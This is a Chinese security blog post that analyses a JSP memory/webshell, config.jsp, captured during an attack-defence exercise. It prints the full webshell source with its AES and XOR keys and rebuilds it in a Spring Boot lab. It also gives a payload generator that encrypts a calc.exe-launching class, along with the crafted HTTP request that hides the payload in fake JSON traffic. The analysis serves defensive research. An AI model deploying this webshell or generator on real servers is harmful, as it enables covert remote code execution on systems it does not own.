从零开始的内存马分析——如何骑马反杀(一)

2022-09-27 17:17:29 浏览数 (1)

以下文章来源于亿人安全 ,作者Wumingzhilian

文章首发于奇安信攻防社区

https://forum.butian.net/share/1811

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

0x00 前言

在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……

0x01 木马分析

1.1 在线检测

1.2 木马总览

上图是apache解析后产生的java文件和相关的字节码

上图是攻击方上传的木马

1.2 特定报文头

代码语言:javascript复制
POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208

报文头部,有特定的gzip

1.3 测试类

我们需要一个calc的测试类供我们测试

代码语言:javascript复制
package com.Test.Basic;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Base64;public class Echo_Base64 {    private static String parseByte2HexStr(byte[] buf){
        StringBuffer sb = new StringBuffer();        for (int i = 0; i < buf.length; i  ) {
            String hex = Integer.toHexString(buf[i] & 0xFF);            if(hex.length() ==1){
                hex = '0'   hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());        byte[] code = clazz.toBytecode();
        String bytes = Base64.getEncoder().encodeToString(code);
        System.out.println(parseByte2HexStr(code));
        System.out.println(bytes);
    }
}
代码语言:javascript复制
package com.Test.Basic;import java.io.IOException;public class ByteCodeEvil {    static {        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {            throw new RuntimeException(e);
        }
    }
}
代码语言:javascript复制
package com.Test.Basic;class Loader extends ClassLoader {    public Loader(ClassLoader loader) {        super(loader);
    }    public Class loadClass(byte[] bytes) {        return super.defineClass(bytes, 0, bytes.length);
    }
}
代码语言:javascript复制
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.zip.GZIPInputStream;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;public class AVpayloadGenerator {    /**
     * 加密
     *
     * @param  需要加密的内容
     * @return
     */
    public static byte[] encrypt2(byte[] byteContent) {        try {
            SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF Q==".getBytes()), "AES");
            Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding
           // byte[] byteContent = content.getBytes("utf-8");
            cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化
            byte[] result = cipher.doFinal(byteContent);            return result; // 加密
        } catch (Exception e){
            e.printStackTrace();
        }        return null;
    }/**
 * base64解密,目测是魔改的base
 */

    public static byte[] base64Encode(byte[] bytes) {
        byte[] value = null;        try {            Class<?> base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {            try {                Class<?> base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes();
            } catch (Exception exception1) {
            }
        }        return value;
    }    public static byte[] base64Decode(byte[] bytes) {
        byte[] value = null;        try {            Class<?> base64 = Class.forName("java.util.Base64");            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {            try {                Class<?> base64 = Class.forName("sun.misc.BASE64Decoder");                Object decoder = base64.newInstance();                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }        return value;
    }    /**将二进制转换成16进制
     * @param buf
     * @return
     */

    public static String parseByte2HexStr(byte buf[]) {
        StringBuffer sb = new StringBuffer();        for (int i = 0; i < buf.length; i  ) {            String hex = Integer.toHexString(buf[i] & 0xFF);            if (hex.length() == 1) {
                hex = '0'   hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static byte[] xor(byte[] data) {
        byte[] key;        int len;        int keyLen;        int index;        int i;        for (key = base64Decode("R84sh 6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) {
            index = i - 1;
            data[index] = (byte) (data[index] ^ key[i % keyLen]);
            i  ;
        }        return data;
    }    public static void ReturnMes(String message){
        byte[] bb = base64Decode(message.getBytes());
        System.out.println(uncompress(xor(bb)));
    }    public static byte[] uncompress(byte[] bytes) {        if (bytes == null || bytes.length == 0) {            return null;
        }
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);        try {
            GZIPInputStream ungzip = new GZIPInputStream(in);
            byte[] buffer = new byte[256];            int n;            while ((n = ungzip.read(buffer)) >= 0) {
                out.write(buffer, 0, n);
            }
        } catch (Exception e) {

            e.printStackTrace();
        }        return out.toByteArray();
    }    /*
    * 执行的函数
    * ByteCodeEvil 恶意类,自己构造在同一目录,
    * */
    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());
        byte[] code = clazz.toBytecode();        //String aaa="aaa";
        byte buff[];
        buff = encrypt2(code);       // buff = encrypt2(aaa.getBytes());
        String result;
        result = parseByte2HexStr(buff);
        System.out.println(result);

    }
}

如上脚本自行编写 AVpayloadGenerator.java

是一个逆向脚本,用于我们生成发送流量的报文

1.4 木马危害

该木马本质没有任何危害,疑似冰蝎类

1.5 config.jsp

代码语言:javascript复制

    class Loader extends ClassLoader{        public Loader(ClassLoader loader){
            super(loader);
        }        public Class loadClass(byte[] bytes){            return super.defineClass(bytes,0,bytes.length);
        }
    }    public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j < len; i  ) {int f =  Character.digit(data[j  ], 16) << 4;f |= Character.digit(data[j  ], 16);out[i] = (byte)(f & 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh 6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i <= len; i  ){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;}    try {

            byte[] buffer = new byte[102400];    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();    ServletInputStream inputStream = request.getInputStream();    int read = 0;    while ((read = inputStream.read(buffer))>0){        bufferStream.write(buffer,0,read);    }    byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData;
        requestData = unHex(requestData);requestData = aes128(requestData, 2);        Class payloadClass = null;        if ((payloadClass = (Class) application.getAttribute("inIT"))==null){
            application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData));
        }else {
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();            Object f = payloadClass.newInstance();
            f.equals(request);
            f.equals(arrOut);
            f.equals(requestData);
            f.toString();
            byte[] responseData = arrOut.toByteArray();
            arrOut.reset();
            responseData = xor(responseData);responseData = base64Encode(responseData);
            arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData);
        }
    }catch (Throwable e){

    }

由于木马是html实体编码过后的,我们将他进行分段解密

<jsp:declaration> 声明变量

</jsp:scriptlet> 存放脚本

1.5.1 实体化解码

代码语言:javascript复制
https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode

1.5.2 代码恢复

我们恢复一下java代码

代码语言:javascript复制
class Loader extends ClassLoader{    public Loader(ClassLoader loader)
    {        super(loader);
    }    public Class loadClass(byte[] bytes)
    {        return super.defineClass(bytes, 0, bytes.length);
    }
}public static byte[] unHex(byte[] data)
{    int len = data.length;    byte[] out = new byte[len / 2];    for(int i = 0, j = 0; j &lt; len; i  )
    {        int f = Character.digit(data[j  ], 16) &lt;&lt; 4;
        f |= Character.digit(data[j  ], 16);
        out[i] = (byte)(f &amp; 0xFF);
    }    return out;
}public byte[] aes128(byte[] s, int mode)
{    try
    {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF Q==".getBytes()), "AES"));        return c.doFinal(s);
    }    catch(Exception e)
    {        return null;
    }
}public static byte[] xor(byte[] data)
{    byte[] key = base64Decode("R84sh 6uJ9oXJpMfw2pc/Q==".getBytes());    int len = data.length;    int keyLen = key.length;    int index = 0;    for(int i = 1; i &lt;= len; i  )
    {
        index = i - 1;
        data[index] = (byte)(data[index] ^ key[(i % keyLen)]);
    }    return data;
}public static byte[] base64Encode(byte[] bytes)
{
    Class base64;    byte[] value = null;    try
    {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]
        {            byte[].class
        }).invoke(Encoder, new Object[]
        {
            bytes
        });
    }    catch(Exception e)
    {        try
        {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = ((String) Encoder.getClass().getMethod("encode", new Class[]
            {                byte[].class
            }).invoke(Encoder, new Object[]
            {
                bytes
            })).getBytes();
        }        catch(Exception e2)
        {}
    }    return value;
}public static byte[] base64Decode(byte[] bytes)
{
    Class base64;    byte[] value = null;    try
    {
        base64 = Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
        {            byte[].class
        }).invoke(decoder, new Object[]
        {
            bytes
        });
    }    catch(Exception e)
    {        try
        {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
            {
                String.class
            }).invoke(decoder, new Object[]
            {                new String(bytes)
            });
        }        catch(Exception e2)
        {}
    }    return value;
}try{    byte[] buffer = new byte[102400];
    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
    ServletInputStream inputStream = request.getInputStream();    int read = 0;    while((read = inputStream.read(buffer)) &gt; 0)
    {
        bufferStream.write(buffer, 0, read);
    }    byte[] requestData = bufferStream.toByteArray();    byte[] _requestData = new byte[requestData.length - 112];
    java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
    requestData = _requestData;
    requestData = unHex(requestData);
    requestData = aes128(requestData, 2);
    Class payloadClass = null;    if((payloadClass = (Class) application.getAttribute("inIT")) == null)
    {
        application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData));
    }    else
    {
        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
        Object f = payloadClass.newInstance();
        f.equals(request);
        f.equals(arrOut);
        f.equals(requestData);
        f.toString();        byte[] responseData = arrOut.toByteArray();
        arrOut.reset();
        responseData = xor(responseData);
        responseData = base64Encode(responseData);
        arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
        arrOut.write(responseData);
        arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
        responseData = arrOut.toByteArray();
        response.setStatus(200);
        response.setHeader("Content-Type", "application/json");
        response.getOutputStream().write(responseData);
    }
}catch(Throwable e)
{}

代码中的该段,伪造json返回数据,模拟正常业务

0x02 环境搭建

2.1 springboot 搭建

我们首先搭建在springboot中,将config.class在jd-gui打开,我们模拟打开web页面

代码语言:javascript复制
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayOutputStream;import java.io.IOException;class Loader extends ClassLoader {    public Loader(ClassLoader loader) {        super(loader);
    }    public Class loadClass(byte[] bytes) {        return super.defineClass(bytes, 0, bytes.length);
    }
}@Controllerpublic class helloController {    @RequestMapping("/index")
    @ResponseBody
    public String index(){        return "hello spring boot!";
    }    private static String parseByte2HexStr(byte[] buf){
        StringBuffer sb = new StringBuffer();        for (int i = 0; i &lt; buf.length; i  ) {
            String hex = Integer.toHexString(buf[i] &amp; 0xFF);            if(hex.length() ==1){
                hex = '0'   hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static byte[] unHex(byte[] data) {        int len;        byte[] out;        int i;        int j;        for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j &lt; len; ) {            int f = Character.digit(data[j  ], 16) &lt;&lt; 4;
            f |= Character.digit(data[j  ], 16);
            out[i] = (byte) (f &amp; 0xFF);
            i  ;
        }        return out;
    }    public static byte[] aes128(byte[] s, int mode) {        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF Q==".getBytes()), "AES"));            return c.doFinal(s);
        } catch (Exception exception) {            return null;
        }
    }    public static byte[] xor(byte[] data) {        byte[] key;        int len;        int keyLen;        int index;        int i;        for (key = base64Decode("R84sh 6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i &lt;= len; ) {
            index = i - 1;
            data[index] = (byte) (data[index] ^ key[i % keyLen]);
            i  ;
        }        return data;
    }    public static byte[] base64Encode(byte[] bytes) {        byte[] encrypted = null;
        String str;        try {
            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {            try {
                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
                str=str.replace("n", "").replace("r", "");
                encrypted=str.getBytes();
            } catch (Exception exception1) {
            }
        }        return encrypted;
    }    public static byte[] base64Decode(byte[] bytes) {        byte[] value = null;        try {
            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {            try {
                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }        return value;
    }    @RequestMapping("/index2")
    public void hh(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {        try {            byte[] buffer = new byte[102400];
            java.io.ByteArrayOutputStream bufferStream = new  java.io.ByteArrayOutputStream();
            ServletInputStream inputStream = request.getInputStream();            int read=0;            while ((read = inputStream.read(buffer)) &gt; 0) {
                bufferStream.write(buffer, 0, read);
            }            byte[] requestData = bufferStream.toByteArray();            byte[] _requestData = new byte[requestData.length - 112];
            java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
            requestData = _requestData;
            requestData = unHex(requestData);
            requestData = aes128(requestData, 2);
            Class payloadClass = null;            //System.out.println(parseByte2HexStr(requestData));
            ServletContext application = request.getSession().getServletContext();            if ((payloadClass = (Class) application.getAttribute("inIT")) == null) {
                application.setAttribute("inIT", (new Loader(getClass().getClassLoader())).loadClass(requestData));
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                Object f = payloadClass.newInstance();
                f.equals(request);
                f.equals(arrOut);
                f.equals(requestData);
                f.toString();                byte[] responseData = arrOut.toByteArray();
                arrOut.reset();
                responseData = xor(responseData);
                responseData = base64Encode(responseData);
                arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
                arrOut.write(responseData);
                arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
                responseData = arrOut.toByteArray();
                response.setStatus(200);
                response.setHeader("Content-Type", "application/json");
                response.getOutputStream().write(responseData);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

这里和源代码有所区别,我们需要补充application

也就是

ServletContext application = request.getSession().getServletContext();

代码语言:javascript复制
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplicationpublic class helloApplication {    public static void main(String[] args) {
        SpringApplication.run(helloApplication.class,args);
        System.out.println("hello springboot");

    }
}

这里是springboot的启动页面,对比,我们是可以访问到的,因此我们尝试burp发包,首先对代码进行简单分析

2.1.1 类加载器

首先,有一个类加载器,但是是直接加载字节码。

2.1.2 unhex解码

unhex 16进制解码

2.1.3 aes128解码

aes128解码,mode是2,也就是解码

2.1.4 xor解码

异或数据,生成返回页面的值

众所周知,xor两次的数据是不变的,根据马中的内容,还原出是json的返回包

2.1.5 base64编解码

反射调用的base64加解密

2.1.6 数据分片

(这个分片会在前期和后期都造成很大的一个干扰)

这里的_requestData 在jd-gui中第一次被误以为是内置函数,被删除了,但是根据流量包分析,发包并没有反应,因此后续在大师傅的提醒下,将数据切片补全

我们首先尝试看看,不带_requestData的效果

我们运行Test类,查看生成的字节码hex,和字节码base

代码语言:javascript复制
hex:CAFEBABE0000003400280A000900180A0019001A08001B0A0019001C07001D07001E0A0006001F0700200700210100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301001D4C636F6D2F546573742F42617369632F42797465436F64654576696C3B0100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B01000D537461636B4D61705461626C6507001D01000A536F7572636546696C6501001142797465436F64654576696C2E6A6176610C000A000B0700220C0023002401000863616C632E6578650C002500260100136A6176612F696F2F494F457863657074696F6E01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E0C000A002701001B636F6D2F546573742F42617369632F42797465436F64654576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B010018284C6A6176612F6C616E672F5468726F7761626C653B29560021000800090000000000020001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000005000E0000000C000100000005000F0010000000080011000B0001000C000000660003000100000017B800021203B6000457A7000D4BBB0006592AB70007BFB1000100000009000C00050003000D000000160005000000080009000B000C0009000D000A0016000C000E0000000C0001000D000900120013000000140000000700024C0700150900010016000000020017
代码语言:javascript复制
base:yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsOwEACDxjbGluaXQ AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAbY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7 xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX
代码语言:javascript复制
接收方:流量 ==》 unhex ==》 aes128 ==》字节码导入
发送方:字节码 ==》 aes128 ==》hex ==》流量

我们运行AVpayloadGenerators生成流量

代码语言:javascript复制
719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8

我们给index2发送加密字节码,发送两次之后,弹出计算器,说明字节码加载成功

我们接着开放_requestData

我们发现,不生效了

我们去查看一下,代码对传输的数据进行了分割处理

代码语言:javascript复制
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":""}

我们查看流量包中,对方使用这个json进行模拟正常业务进行传递数据

代码语言:javascript复制
POST /index2 HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 1552{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6